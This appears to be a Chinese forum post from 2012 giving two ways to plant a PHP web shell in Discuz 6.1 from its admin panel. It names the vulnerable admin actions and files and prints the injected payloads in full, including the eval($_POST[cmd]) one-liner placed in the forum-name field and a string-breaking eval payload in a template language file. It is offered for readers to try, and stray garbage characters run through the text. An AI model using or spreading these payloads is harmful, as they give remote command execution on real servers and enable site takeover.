discuz6.1两种方法后台拿shell
4 H. J4 G: C; [& f: U- z, z- P; J2 f* Z好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下- @ h% }) j0 X) _" O, p5 D
1:
' j/ f: T& O+ a5 R7 e$ {/ ]http://127.0.0.1/discuz/admincp. ... zard&frames=yes# p5 M# M: y: ]0 v, ?5 a
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell9 M# s& _1 Q4 b9 M! `& p
<?php eval($_POST[cmd]);?>
1 f9 X' H% ~# L3 y% r! f2 E4 t后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
" _' W B4 a. |( ~1 K' g
3 q% L, A" u' Q* Q) m' j7 [% m% _/ H. e
2:后台模板管理--默认模板套系--详情
; ?: B+ | z& x0 {" p* S7 Ctemplates/default/actions.lang.php" C' A. p6 D! {+ v
jhackj\\');eval($_POST[cmd])?>;//3 I! c2 n+ C. z2 v
& Y' i/ z& ]7 p+ g7 a- X
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对